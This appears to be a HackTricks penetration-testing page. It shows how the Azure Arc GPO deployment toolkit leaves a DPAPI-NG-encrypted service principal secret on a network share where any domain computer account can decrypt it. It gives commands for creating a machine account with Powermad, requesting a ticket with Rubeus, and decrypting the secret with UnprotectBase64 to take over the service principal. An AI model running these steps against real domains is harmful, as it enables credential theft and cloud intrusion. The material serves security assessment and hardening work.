Az - Arc vulnerable GPO Deploy Script

Support HackTricks

Identifying the Issues

Azure Arc allows for the integration of new internal servers (joined domain servers) into Azure Arc using the Group Policy Object method. To facilitate this, Microsoft provides a deployment toolkit necessary for initiating the onboarding procedure. Inside the file, the following scripts can be found: DeployGPO.ps1, EnableAzureArc.ps1, and AzureArcDeployment.psm1.

When executed, the DeployGPO.ps1 script performs the following actions:

  1. Creates the Azure Arc Servers Onboarding GPO within the local domain.

  2. Copies the EnableAzureArc.ps1 onboarding script to the designated network share created for the onboarding process, which also contains the Windows installer package.

When running this script, sys admins need to provide two main parameters: ServicePrincipalId and ServicePrincipalClientSecret. Additionally, it requires other parameters such as the domain, the FQDN of the server hosting the share, and the share name. Further details such as the tenant ID, resource group, and other necessary information must also be provided to the script.

An encrypted secret is generated in the AzureArcDeploy directory on the specified share using DPAPI-NG encryption. The encrypted secret is stored in a file named encryptedServicePrincipalSecret. Evidence of this can be found in the DeployGPO.ps1 script, where the encryption is performed by calling ProtectBase64 with $descriptor and $ServicePrincipalSecret as inputs. The descriptor consists of the Domain Computer and Domain Controller group SIDs, ensuring that the ServicePrincipalSecret can only be decrypted by the Domain Controllers and Domain Computers security groups, as noted in the script comments.

# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
$descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)


We have the follow conditions:

  1. We have successfully penetrated the internal network.

  2. We have the capability to create or assume control of a computer account within Active Directory.

  3. We have discovered a network share containing the AzureArcDeploy directory.

There are several methods to obtain a machine account within an AD environment. One of the most common is exploiting the machine account quota. Another method involves compromising a machine account through vulnerable ACLs or various other misconfigurations.

Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

Once a machine account is obtained, it is possible to authenticate using this account. We can either use the runas.exe command with the netonly flag or use pass-the-ticket with Rubeus.exe.

runas /user:fake01$ /netonly powershell
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr

By having the TGT for our computer account stored in memory, we can use the following script to decrypt the service principal secret.

Import-Module .\AzureArcDeployment.psm1

$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"

$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)

Alternatively, we can use SecretManagement.DpapiNG.

At this point, we can gather the remaining information needed to connect to Azure from the ArcInfo.json file, which is stored on the same network share as the encryptedServicePrincipalSecret file. This file contains details such as: TenantId, servicePrincipalClientId, ResourceGroup, and more. With this information, we can use Azure CLI to authenticate as the compromised service principal.


Support HackTricks

Last updated